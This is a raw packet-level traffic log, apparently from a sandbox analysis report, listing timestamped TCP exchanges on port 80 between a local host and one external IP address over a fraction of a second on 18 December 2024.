Dec 18, 2024 15:56:12.252157927 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.252160072 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.252166033 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.252177954 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.252185106 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.252191067 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.252197027 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.252202988 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.252361059 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.252361059 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.253592968 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.253599882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.253611088 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.253644943 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.253650904 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.253658056 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.253659010 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.253664017 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.253689051 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.253704071 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.253710985 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.253715038 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.253743887 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.261733055 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.261864901 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.358316898 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.358500004 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.358640909 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.358669996 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.358699083 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.358711958 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.358978033 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.359046936 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.359266043 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.359322071 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.359826088 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.359885931 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.360156059 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.360198975 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.360229015 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.360300064 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.361088991 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.361188889 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.361414909 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.361486912 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.361913919 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.361980915 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.361995935 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.362051010 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.362792969 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.362849951 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.362910032 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.362977028 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.363723993 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.363732100 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.363775969 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.364841938 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.364849091 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.364898920 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.365381956 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.365442991 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.366322041 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.366339922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.366347075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.366372108 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.366388083 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.366985083 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.367037058 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.367079973 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.367156029 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.368350983 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.368360043 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.368407011 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.368737936 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.368746042 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.368788004 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.369560003 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.369566917 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.369611979 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.370461941 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.370559931 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.371423006 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.371429920 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.371444941 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.371473074 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.371498108 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.372920990 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.372929096 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.372968912 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.372972965 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.373013973 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.373153925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.373248100 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.374066114 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.374073029 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.374125957 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.374891043 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.374898911 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.374946117 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.375592947 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.375643969 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.375722885 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.375782967 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.376660109 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.376718044 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.376826048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.376898050 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.377479076 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.377486944 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.377523899 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.378139973 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.378221989 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.378238916 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.378259897 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.379169941 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.379178047 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.379220963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.379826069 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.379951954 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.380038023 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.380140066 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.380726099 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.380733967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.380779982 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.381771088 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.381779909 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.381824017 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.382424116 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.382487059 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.382493019 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.382534027 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.383802891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.383812904 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.383863926 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.384485006 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.384493113 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.384531975 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.384977102 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.385059118 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.385108948 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.385153055 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.385931969 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.385940075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.385983944 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.386645079 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.386693954 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.386717081 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.386785984 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.387552023 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.387603998 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.387695074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.387762070 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.388528109 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.388535023 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.388581991 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.389590979 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.389600039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.389641047 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.390104055 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.390153885 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.390300035 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.390348911 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.390887022 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.390958071 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.391657114 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.391726971 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.391819954 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.391901970 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.391921043 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.391984940 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.393141031 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.393147945 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.393189907 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.393472910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.393531084 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.393539906 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.393580914 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.394376040 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.394429922 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.394658089 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.394718885 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.395288944 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.395297050 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.395347118 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.396104097 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.396217108 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.396230936 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.396303892 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.397030115 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.397037983 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.397080898 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.397735119 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.397914886 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.398236990 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.398360014 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.398588896 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.398664951 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.398705959 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.398817062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.399739027 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.399745941 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.399791956 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.400321960 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.400368929 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.400490999 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.400549889 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.403851986 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.403860092 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.403872967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.403877020 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.403918982 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.454037905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.454051018 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.454057932 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.454066038 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.454092979 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.454121113 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.455842972 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.455851078 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.455863953 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.455898046 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.455926895 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.479835033 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.479842901 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.479849100 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.479855061 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.479897022 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.479921103 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.482189894 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.482206106 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.482217073 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.482223034 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.482256889 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.482264042 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.482285976 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.482312918 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.483834982 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.483841896 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.483855009 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.483892918 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.484213114 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.484219074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.484261036 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.484867096 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.484870911 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.484922886 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.485621929 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.485675097 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.485697031 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.485769987 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.486701965 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.486711025 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.486757994 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.487334967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.487358093 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.487384081 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.487397909 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.488137007 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.488194942 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.488207102 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.488264084 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.489073038 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.489078999 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.489124060 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.489922047 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.489928961 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.489960909 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.489985943 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.491832972 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.491839886 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.491852999 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.491859913 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.491899014 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.491931915 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.494314909 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.494335890 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.494342089 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.494359016 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.494369984 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.494398117 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.494399071 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.494442940 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.495260954 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.495294094 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.495321989 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.495338917 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.495341063 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.495398045 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.495839119 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.495919943 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.495979071 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.496026993 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.497055054 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.497061968 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.497108936 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.498447895 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.498456001 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.498467922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.498507023 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.498713970 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.498773098 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.499358892 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.499366045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.499413967 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.500197887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.500276089 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.500287056 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.500339985 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.501197100 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.501245975 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.501377106 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.501427889 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.502047062 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.502130032 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.502248049 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.502311945 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.502980947 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.502989054 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.503046036 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.503756046 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.503762960 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.503813982 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.504379988 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.504484892 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.504604101 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.504707098 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.505203009 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.505253077 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.505459070 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.505511999 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.506051064 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.506098032 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.506237030 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.506294966 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.507836103 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.507843971 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.507850885 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.507886887 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.507915974 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.511188984 CET	80	49749	31.41.244.11	192.168.2.10
